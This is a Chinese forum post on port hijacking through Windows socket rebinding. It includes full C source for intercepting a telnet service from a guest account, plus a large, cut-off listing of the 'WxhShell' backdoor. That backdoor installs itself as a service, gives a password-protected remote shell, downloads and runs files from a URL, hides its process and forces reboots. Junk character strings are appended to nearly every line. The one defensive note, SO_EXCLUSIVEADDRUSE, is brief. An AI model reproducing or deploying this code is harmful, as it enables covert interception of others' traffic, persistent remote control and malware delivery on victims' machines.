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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e|ChCvk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %}t<,ex(yO  
>]6 inS9  
  saddr.sin_family = AF_INET; i5oV,fiZo  
>Ln/)j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); O\=U'6 @  
1e Wl:S}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J;?#Zt]`L  
Ww8C}2g3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PS*=MyNa  
SONv] ));  
  这意味着什么?意味着可以进行如下的攻击: ^|h5*Tb  
^TC<_]7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +`;YK7o  
<"Ox)XG3]W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) V$D+Joj  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;0)|c}n+.5  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SGuR-$U`)  
^qn,b/>L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <=]wh|D  
.X D.'S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =F!_ivV  
 ,\HZIl[8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6 WD(  
L4fM?{Ic:s  
  #include v#. %eF m  
  #include @O&<_&  
  #include '<Nhq_u{  
  #include    R)p+#F(s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PP2>v|  
  int main() P;A9t#\  
  { 3Kv~lo^  
  WORD wVersionRequested; D)XV{Wit  
  DWORD ret; G5C=p:o{/  
  WSADATA wsaData; wt8?@lJ"/  
  BOOL val; 15o<'4|=Lm  
  SOCKADDR_IN saddr; : h"Bf@3  
  SOCKADDR_IN scaddr; z0@{5e$#Y  
  int err; Y|*a,H"_  
  SOCKET s; k<bA\5K  
  SOCKET sc; oxs0)B  
  int caddsize; ?9Lp@k~TO  
  HANDLE mt; I$rnW  
  DWORD tid;   E%A] 8y7  
  wVersionRequested = MAKEWORD( 2, 2 ); KdBE[A-1^M  
  err = WSAStartup( wVersionRequested, &wsaData ); `R9}.?7  
  if ( err != 0 ) { V^v?;f?  
  printf("error!WSAStartup failed!\n"); 7GY3 _`  
  return -1; Yqpe2II7  
  } B+8lp4V9%  
  saddr.sin_family = AF_INET; f Fr[ &\[  
   3lkz:]SsE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !Zr 9t|_  
RM5$O+"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HDV@d^]-  
  saddr.sin_port = htons(23); )~u<u:N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &bIE"ZBjt  
  { %%7~<=rk  
  printf("error!socket failed!\n"); z 1~2w:  
  return -1; rw9m+q  
  } (IE\}QcK  
  val = TRUE; lhp.zl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &8w MGahp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Vr|sRvz  
  { sI&|qK-(  
  printf("error!setsockopt failed!\n"); 2@W'q=+0  
  return -1; Cyn_UE  
  } y3^>a5z!x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JBvMe H5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i_[nW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E1"H( m&6  
5s /fBS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }O7!>T  
  { ]b&"](A  
  ret=GetLastError(); @i9eH8lT  
  printf("error!bind failed!\n"); &_Vd  
  return -1; FN>ns,  
  } J+]W*?m  
  listen(s,2); ;d#`wSF`G  
  while(1) !#b8QER  
  { @D3|Ak1  
  caddsize = sizeof(scaddr); 7)FI_uW  
  //接受连接请求 HOPi2nf{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #[<XN s!"  
  if(sc!=INVALID_SOCKET) m7n8{J1O2  
  { '|jN!y^ 2p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (& =gM  
  if(mt==NULL) o;^k"bo6   
  { e5HHsR6  
  printf("Thread Creat Failed!\n"); :Qd{V3*]  
  break; Bq# l8u  
  } % a9C]?  
  } '(S@9%,aK1  
  CloseHandle(mt); tAxS1<T4  
  } FKVf_Ncf%  
  closesocket(s); kH9fK80  
  WSACleanup(); !#' y#  
  return 0; Ug=)_~  
  }   08pG)_L  
  DWORD WINAPI ClientThread(LPVOID lpParam) TQjM3Ri=V  
  { @x4IxGlUs  
  SOCKET ss = (SOCKET)lpParam; LNU#NJ^Axt  
  SOCKET sc; z~R:!O-  
  unsigned char buf[4096]; d7)EzW|I;  
  SOCKADDR_IN saddr; }o  {6  
  long num; Y7L1`<SC  
  DWORD val; _=s{,t &u  
  DWORD ret; CdFr YL+F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 EWX!:BKf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J-3%.fX,  
  saddr.sin_family = AF_INET; x 8v2mnk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q,->E<8  
  saddr.sin_port = htons(23); ^7zXi xp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FJYc*l  
  { 'nR'o /!  
  printf("error!socket failed!\n"); h+<F,0  
  return -1; MNzWTn@  
  } #y4+O;{  
  val = 100; ^<"^}Jh.M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x+V@f~2F  
  { W.O]f.h  
  ret = GetLastError(); 1p%75VW  
  return -1; 8F#z)>q~  
  } #rs]5tx([  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0wlKBwf`J  
  { (tLAJ_v!.K  
  ret = GetLastError(); =SEgv;#KZ~  
  return -1; ow!NH,'Hy  
  } /O$7A7Tl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $Z2Y%z6y  
  { BIM!4MHLA  
  printf("error!socket connect failed!\n"); FO/ [7ZH  
  closesocket(sc); I\FBf&~  
  closesocket(ss); %x2_njDd  
  return -1; },W<1*|  
  } F4|Z:e,Hr  
  while(1) w$2Z7S  
  { m+ww  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n(}zq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E/6@>.T?'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]LE  
  num = recv(ss,buf,4096,0); )A 6 eD  
  if(num>0) |sIr}}  
  send(sc,buf,num,0); (*CGZDg  
  else if(num==0) (> {CwtH][  
  break; \j$q';9p  
  num = recv(sc,buf,4096,0); },;ymk|g[  
  if(num>0) s,*kWy"jp  
  send(ss,buf,num,0); N;A#K 7A[@  
  else if(num==0) n=+K$R  
  break; bx5f\)  
  } hj_%'kk-A  
  closesocket(ss); f L}3I(VK  
  closesocket(sc); "iC*Eoz#.  
  return 0 ; ktu{I  
  } \en}8r9cy  
Uo7V)I;o  
T,sArKBI  
========================================================== 9\aR{e,1  
!RJuH;8  
下边附上一个代码,,WXhSHELL xMb)4cw}  
c~0hu*&  
========================================================== .YT&V  
W_C#a'$  
#include "stdafx.h" Eed5sm$H  
(}|QSf:  
#include <stdio.h> KqE5{ q  
#include <string.h> [ ; $(;  
#include <windows.h> e{~3&  
#include <winsock2.h> NFEF{|}BM  
#include <winsvc.h> xjplJ'jB  
#include <urlmon.h> k6p Xc<]8  
4Hk eXS.  
#pragma comment (lib, "Ws2_32.lib") :ziV3jRM  
#pragma comment (lib, "urlmon.lib") FBR]) h'Z  
aQzu[N  
#define MAX_USER   100 // 最大客户端连接数 EqN_VT@  
#define BUF_SOCK   200 // sock buffer jmDQKqEc|l  
#define KEY_BUFF   255 // 输入 buffer Q1?0R<jOU  
Gs2| #*6  
#define REBOOT     0   // 重启 " ^t3VjN  
#define SHUTDOWN   1   // 关机 f:=y)+@1My  
)_|;h2I  
#define DEF_PORT   5000 // 监听端口 c%5G3j  
OMi_')J  
#define REG_LEN     16   // 注册表键长度 ,:Q+>h  
#define SVC_LEN     80   // NT服务名长度 #i8] f{  
y rSTU-5u  
// 从dll定义API v*Fr #I0U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y"x9B%e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wVSk.OOB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8f""@TTp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i #uc  
ifA)Ppt<`  
// wxhshell配置信息 W'>"E/Tx#O  
struct WSCFG { *?'^R c  
  int ws_port;         // 监听端口 -2{NIF^H  
  char ws_passstr[REG_LEN]; // 口令 <vMdfw"(  
  int ws_autoins;       // 安装标记, 1=yes 0=no , ;'y <GA  
  char ws_regname[REG_LEN]; // 注册表键名 xJQ-k/`  
  char ws_svcname[REG_LEN]; // 服务名 G(g.~|=EZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m0: IFE($  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W[+=_B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rF/k$_bFt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @w%{yzr%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J=%(f1X<W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z1-JoZ  
(?G?9M#7_  
}; hSg4A=y  
kw%vO6"q(  
// default Wxhshell configuration J%Cn  
struct WSCFG wscfg={DEF_PORT, =B+^-2G8  
    "xuhuanlingzhe", :o)4Y  
    1, u%o2BLx  
    "Wxhshell", &jg..R  
    "Wxhshell", s.9)? < [  
            "WxhShell Service", ODggGB`H`  
    "Wrsky Windows CmdShell Service", *!~jHy8F  
    "Please Input Your Password: ", yF~iVt  
  1, cZ<@1I5QK  
  "http://www.wrsky.com/wxhshell.exe", 4 Qo(Wl  
  "Wxhshell.exe" W)RCo}f  
    }; X\ Y:9^5  
)L,.K O  
// 消息定义模块 o 0-3[W'x<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UBgheu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dbmty|d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1ymq7F(2  
char *msg_ws_ext="\n\rExit."; I6jDRC0<  
char *msg_ws_end="\n\rQuit."; ls^| j%$J  
char *msg_ws_boot="\n\rReboot..."; rJ@yOed["b  
char *msg_ws_poff="\n\rShutdown..."; ogOUrJ}P  
char *msg_ws_down="\n\rSave to "; Y$@?Y/rhR  
~h:/9q  
char *msg_ws_err="\n\rErr!"; eSC69mfD  
char *msg_ws_ok="\n\rOK!"; 0~)_/yx?S  
@CxXkR  
char ExeFile[MAX_PATH]; 7%%FYHMO:  
int nUser = 0; b <1k$0J6  
HANDLE handles[MAX_USER]; " ,qcqG(  
int OsIsNt; }Q=@$YIesD  
MFHc>O DA  
SERVICE_STATUS       serviceStatus; 9b8kRz[ c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T!iRg=<bz  
#fuc`X3:HL  
// 函数声明 wG, "ZN  
int Install(void); miq"3  
int Uninstall(void); ';CL;A;  
int DownloadFile(char *sURL, SOCKET wsh); o:.6{+|N  
int Boot(int flag); ZjOUk;H?  
void HideProc(void); PCx] >&  
int GetOsVer(void); ]Zj6W9]m  
int Wxhshell(SOCKET wsl); ](z?zDk  
void TalkWithClient(void *cs); nJ ZQRRa:C  
int CmdShell(SOCKET sock); \0^ZNa?  
int StartFromService(void); 'u%;5;%2  
int StartWxhshell(LPSTR lpCmdLine); bM9:h  
[^J2<\<0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {|jrYU.k~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 60A E~  
=>_k;x  
// 数据结构和表定义 ?9?eA^X%  
SERVICE_TABLE_ENTRY DispatchTable[] = .2si[:_(p  
{ Za&.sg3RG  
{wscfg.ws_svcname, NTServiceMain}, tR;? o,T  
{NULL, NULL} VgoN=S  
}; o C5}[cYD`  
%U4w@jp  
// 自我安装 Y?^1=9?6  
int Install(void) z ]d^%>Ef  
{ Ao%;!(\I%  
  char svExeFile[MAX_PATH]; ~I+}u]J  
  HKEY key; v+3-o/G7  
  strcpy(svExeFile,ExeFile); ?;//%c8,.  
@ k`^Z5tN  
// 如果是win9x系统,修改注册表设为自启动 +Yuy%VT  
if(!OsIsNt) { H"_]Hq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 77:s=)   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @`</Z)  
  RegCloseKey(key); ~(|~Ze>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uMB|x,X I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D>YbL0K>X~  
  RegCloseKey(key); frYPC Irj  
  return 0; LPOZA`  
    } c1,dT2:=  
  } {O"?_6',  
} Rilr)$  
else { pO~VI$7  
CkJU5D  
// 如果是NT以上系统,安装为系统服务 V?k"BU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K}]0<\N  
if (schSCManager!=0) OfR\8hAY  
{ =h083|y>  
  SC_HANDLE schService = CreateService iz2I4 _N  
  ( UacGq,  
  schSCManager, GisI/Ir[  
  wscfg.ws_svcname, A5lP%&tu(  
  wscfg.ws_svcdisp, 4zF|}aiQ  
  SERVICE_ALL_ACCESS, Y'.WO[dgf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +!(W>4F  
  SERVICE_AUTO_START, sH^?v0^a  
  SERVICE_ERROR_NORMAL, ~)S Q{eK?&  
  svExeFile, >gt_C'  
  NULL, ~~.v*C[  
  NULL, 5X7kZ!r  
  NULL, LNp%]*h  
  NULL, iwHy!Vi-5  
  NULL 6zQ {Y"0  
  ); a{lDHk`Wf  
  if (schService!=0) 0d-w<lg9  
  { sP0pw]!  
  CloseServiceHandle(schService); ^6?NYHMr=  
  CloseServiceHandle(schSCManager); <JA`e+Bi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $z7[RLu0!  
  strcat(svExeFile,wscfg.ws_svcname); pai>6p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (8!#<$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WC!bB  
  RegCloseKey(key); vT<q zN  
  return 0; K8dlECy  
    } _v=@MOI/J  
  } #]s>  
  CloseServiceHandle(schSCManager); v-85` h  
} Mk=;UBb$X  
} q8:Z.<%8  
{cF7h)j  
return 1; k'N `5M)  
} ^n@.  
`Z{kJMS  
// 自我卸载 Ae,-. xJ  
int Uninstall(void) mMqT-jT  
{ '676\2.  
  HKEY key; q+{-p?;;  
F|*{Ma  
if(!OsIsNt) { s,TKC67.%+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2,nKbE9*  
  RegDeleteValue(key,wscfg.ws_regname); ;lST@>  
  RegCloseKey(key); >4a@rT/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j%iz>  
  RegDeleteValue(key,wscfg.ws_regname); 9l+`O0.@  
  RegCloseKey(key); Vw*;xek?  
  return 0; JMu|$"o&{  
  } 7z \I\8  
} ?)#dP8n  
} AElx #` T  
else { Q p7|p  
~UjFL~K}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pN<wO1\9  
if (schSCManager!=0) |U?5% L  
{ l=5(5\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uROt h_/  
  if (schService!=0) p ez^]I  
  { Ebp^-I9.d  
  if(DeleteService(schService)!=0) { Q3#- q> ;7  
  CloseServiceHandle(schService); 88}c+V+N!  
  CloseServiceHandle(schSCManager); 8WU UE=p  
  return 0; QP|Ou*Qm)  
  } 'v4#mf  
  CloseServiceHandle(schService); CjM+%l0MW  
  } SN|EWe^  
  CloseServiceHandle(schSCManager); 22|eiW/a  
} ~.M{n&NM  
} *L8Pj`zR  
i TY4X:x  
return 1; M#on-[  
} @`aR*B  
\pZ,gF;y  
// 从指定url下载文件 _3h(R`VdWO  
int DownloadFile(char *sURL, SOCKET wsh) ^~(vP:  
{ xA]CtB*o7  
  HRESULT hr; ,#&lNQ'I  
char seps[]= "/"; >z6 (fM`i  
char *token; 7/NXb  
char *file; DW@PPvfs  
char myURL[MAX_PATH]; <OF7:f  
char myFILE[MAX_PATH]; XF(I$Mxl6  
T%K(opISc(  
strcpy(myURL,sURL); s M({u/  
  token=strtok(myURL,seps); d8Jy$,/`?  
  while(token!=NULL) 9 )u*IGj  
  { "K`B'/08^  
    file=token; `@ULG>   
  token=strtok(NULL,seps); E\#hcvP  
  } KDgJ~T  
a ^<W ?Z  
GetCurrentDirectory(MAX_PATH,myFILE); D61CO-E(D  
strcat(myFILE, "\\"); OwV>`BIwns  
strcat(myFILE, file); 4x.'H18  
  send(wsh,myFILE,strlen(myFILE),0); 7+JQaYO`"  
send(wsh,"...",3,0); q5?g/-_0[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %d*k3 f }  
  if(hr==S_OK) Y$!K<c k  
return 0; d7qY(!&  
else ,rc5r3  
return 1; WM NcPHcj  
Y8`4K*58%  
} 8AT;9wZqt  
gxpR#/(E~  
// 系统电源模块 \-N 4G1  
int Boot(int flag) P %f],f  
{ eX7Ev'(H  
  HANDLE hToken; z:bxnM2\  
  TOKEN_PRIVILEGES tkp; EcrM`E#kaZ  
UvRa7[<y%%  
  if(OsIsNt) { Rv ?G o2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9r@r\-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S*Scf~Qp  
    tkp.PrivilegeCount = 1; A:ls'MkZ4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [c]X) @#S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 16)@<7b]J  
if(flag==REBOOT) { lBh|+K N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AZz }  
  return 0; P!:Y<p{=>  
} XWZ *{/u  
else { o!^':mll  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c 6@!?8J  
  return 0; L)&?$V  
} PmyS6a@  
  } ?Q;8D@   
  else { Kc_QxON4  
if(flag==REBOOT) { ZN-J!e"`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OsPx-|f S~  
  return 0; l;}D| 6+_W  
} lidzs<W-fW  
else { RN238]K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E9HA8  
  return 0; q0{KYWOvk  
} hc2[,Hju{O  
} o{pQDI {R  
Xg?hh 0s  
return 1; >|WNsjkU%  
} BRYhL|d~.  
{\j h? P|  
// win9x进程隐藏模块 i%+cPQ^o  
void HideProc(void) ?Z {4iF  
{ ;X-~C.7k  
csz/[*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EWNh:<F?  
  if ( hKernel != NULL ) S Y>i@s+ML  
  { z]^&^VFu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L0ig%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _Sy-&}c+ +  
    FreeLibrary(hKernel); :&}(?=<R}L  
  } TKj8a(R_  
5p}Y6Lc\j  
return; U(3+*'8r,1  
} *T$o" *}  
)9MmL-7K  
// 获取操作系统版本 (xpj?zlmM  
int GetOsVer(void) W76K/A<h>  
{ QCQku\GLV  
  OSVERSIONINFO winfo; e  p~3e5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rCi7q]_  
  GetVersionEx(&winfo); @G[P|^B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I1yZ7QY  
  return 1; >Lp^QP1gU  
  else <DP_`[+C  
  return 0; L&ySXc=  
} ^ }Rqe  
(m80isl  
// 客户端句柄模块 \?7)oFNz  
int Wxhshell(SOCKET wsl) /KjRB_5~q}  
{ $ r)+7i  
  SOCKET wsh; n#t{3qzpD  
  struct sockaddr_in client; W#87T_7T[  
  DWORD myID; RB.&,1  
#7I,.DUy[  
  while(nUser<MAX_USER) ['ol]ZJ  
{ 4zs1BiMG  
  int nSize=sizeof(client); 3IQ)%EN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #Ki(9oWd  
  if(wsh==INVALID_SOCKET) return 1; opxVxjTT#  
s `fIeP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O^ZOc0<  
if(handles[nUser]==0) H((! BRl  
  closesocket(wsh); c;c'E&9P]  
else M-1 VB5  
  nUser++; H6(kxpOI\  
  } . [DCL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V{@ xhW0  
>y)(M(o  
  return 0; P.Pw .[:3  
} w6DK&@w`'/  
N p9N#m?  
// 关闭 socket 7sKN`  
void CloseIt(SOCKET wsh) wJ@8-H 8}  
{ Sp$~)f'  
closesocket(wsh); hO^8CA,5  
nUser--; >yFEUD:  
ExitThread(0); rB|Mp!g%@  
} :acnrW>i[@  
+;~JHx.~X  
// 客户端请求句柄 OrP-+eg  
void TalkWithClient(void *cs) ~ l"70\&  
{ dK'?<w$  
Li~(kw3  
  SOCKET wsh=(SOCKET)cs; fD+'{ivN4  
  char pwd[SVC_LEN]; ?h UC#{  
  char cmd[KEY_BUFF]; u4TU"r("A  
char chr[1]; 6*,'A|t?y  
int i,j; <"w;:Zs  
p48M7OV  
  while (nUser < MAX_USER) { YBn"9w\#  
Qj: D=j8  
if(wscfg.ws_passstr) { 7[5g_D t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ].53t"*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *KNj5>6=  
  //ZeroMemory(pwd,KEY_BUFF); f!hQ"1[  
      i=0; ?8[,0l:|  
  while(i<SVC_LEN) { xLX<. z!r  
Jj+|>(P  
  // 设置超时 RM\it"g  
  fd_set FdRead; "?EoYF_  
  struct timeval TimeOut; USfpCRj9  
  FD_ZERO(&FdRead); *0zdI<Oe  
  FD_SET(wsh,&FdRead); ,jJ&x7ra8  
  TimeOut.tv_sec=8; 7=C$*)x  
  TimeOut.tv_usec=0; ~]f+   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E!<w t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X`bN/sI  
t mAj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = Q|_v}  
  pwd=chr[0]; 0S8v41i6  
  if(chr[0]==0xd || chr[0]==0xa) { 's]I:06A  
  pwd=0; ,E,oz{,i(  
  break; g4USKJ19.  
  } D?;8bI%"  
  i++; lZoy(kdc  
    } 9x;CJhX  
BR\3ij  
  // 如果是非法用户,关闭 socket v+XB$j^H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lx9tUTaus/  
} *m2{6N_  
R T/T+Q!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^M?O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |"V]$s$ c  
]BAM _  
while(1) { YC!Tgb~H  
S[p.`<{J  
  ZeroMemory(cmd,KEY_BUFF); 0I6[`*|SX  
&"!s+_  
      // 自动支持客户端 telnet标准   951"0S`Lo  
  j=0; #$q~ZKB  
  while(j<KEY_BUFF) { EB8=*B8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vgy}0pCl  
  cmd[j]=chr[0];  d+FS  
  if(chr[0]==0xa || chr[0]==0xd) { &8VB{S>r  
  cmd[j]=0; #H9J/k_  
  break; [I/f(GK  
  } :N!Fe7H,  
  j++; Gao8!OaQ  
    } 8r"$o1!  
9qyA{ |3  
  // 下载文件 a<AT;Tc  
  if(strstr(cmd,"http://")) { #i$/qk= N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CKJ9YKu{W  
  if(DownloadFile(cmd,wsh)) ]ZJu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w74 )kIi  
  else )$18a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `fw:   
  } /?<tjK' "H  
  else { q,b6).  
t;wfp>El  
    switch(cmd[0]) { W i a%rm  
  =4RXNWkud  
  // 帮助 ! Jh/M^  
  case '?': { ~ Iin|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8Ar5^.k  
    break; AvW2)+6G  
  } 1pe eecE  
  // 安装 u\~dsD2)q  
  case 'i': { om$x;L6  
    if(Install()) c.5?Q >!+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9uk}r; %9  
    else (1.E9+MquU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3GEI)!  
    break; 4] c.mDo[T  
    } ,TrrqCw>  
  // 卸载 9 *>@s  
  case 'r': { !<!5;f8  
    if(Uninstall()) SKTf=rY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MB$K ?"Y  
    else OnO56,+S^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fhx_v^< X  
    break; p4m9@ \gn  
    }  3*@ sp  
  // 显示 wxhshell 所在路径 //C3tW  
  case 'p': { [%U(l<  
    char svExeFile[MAX_PATH]; .h)o\6Wq  
    strcpy(svExeFile,"\n\r"); O*MC"%T  
      strcat(svExeFile,ExeFile); )6?(K"T  
        send(wsh,svExeFile,strlen(svExeFile),0); fIOI  
    break; lq2P10j@  
    } ?-^eI!  
  // 重启 @^47Qgj8 U  
  case 'b': { }Dk*Hs^E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jYAD9v%  
    if(Boot(REBOOT)) 63b?-.!b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fVCpG~&t  
    else { g~FA:R  
    closesocket(wsh); <0,c{e  
    ExitThread(0); ve|:z  
    } G(7!3a+  
    break; ;>?NH6B,  
    } +bwSu)k  
  // 关机 iN\D`9e  
  case 'd': { eNN)2-96  
